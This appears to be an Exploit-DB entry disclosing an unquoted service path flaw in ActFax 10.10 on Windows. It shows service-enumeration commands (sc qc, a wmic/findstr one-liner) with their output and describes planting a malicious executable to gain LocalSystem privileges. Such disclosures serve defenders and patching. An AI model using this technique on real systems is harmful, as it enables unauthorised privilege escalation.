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ActFax 10.10 - Unquoted Path Services

EDB-ID:

51332

CVE:

N/A

EDB Verified: ✘

Author:

[BIRKAN ALHAN](#)

Type:

[LOCAL](#)

Exploit:   / 

Platform:

[WINDOWS](#)

Date:

2023-04-08

Vulnerable App:



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```
# Exploit Title: ActFax 10.10 - Unquoted Path Services
# Date: 22/03/2023
# Exploit Author: Birkan ALHAN (@taftss)
# Vendor Homepage: https://www.actfax.com
# Software Link: https://www.actfax.com/en/download.html
# Version: Version 10.10, Build 0551 (2023-02-01)
# Tested on: Windows 10 21H2 0S Build 19044.2728
```

#Discover to Unquoted Services Path:

```
C:\Users\taftss>sc qc ActiveFaxServiceNT
[SC] QueryServiceConfig SUCCESS
```

```
SERVICE_NAME: ActiveFaxServiceNT
TYPE : 10 WIN32_OWN_PROCESS
START_TYPE : 2 AUTO_START
ERROR_CONTROL : 1 NORMAL
BINARY_PATH_NAME : C:\Program Files\ActiveFax\Server\ActSrvNT.exe
LOAD_ORDER_GROUP :
TAG : 0
DISPLAY_NAME : ActiveFax-Server-Service
DEPENDENCIES :
SERVICE_START_NAME : LocalSystem
```

```
C:\Users\taftss>systeminfo
```

```
Host Name: Redstaftss
OS Name: Microsoft Windows 10 Pro
OS Version: 10.0.19044 N/A Build 19044
```

#Another Discover Method to Unquoted Services Path:

```
wmic service get name,displayname,pathname,startmode | findstr /i
"auto" | findstr /i /v "c:\windows\\" | findstr /i /v ""
```

#Exploit:

If the attacker has taken over the system and the taken user has write privileges to the "C:\Program Files\ActiveFax" folder or "C:\", they can inject their own malicious "ActSrvNT.exe" file. Then the ActiveFaxServiceNT Service can be restarted to privilege escalation.

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Birkan ALHAN

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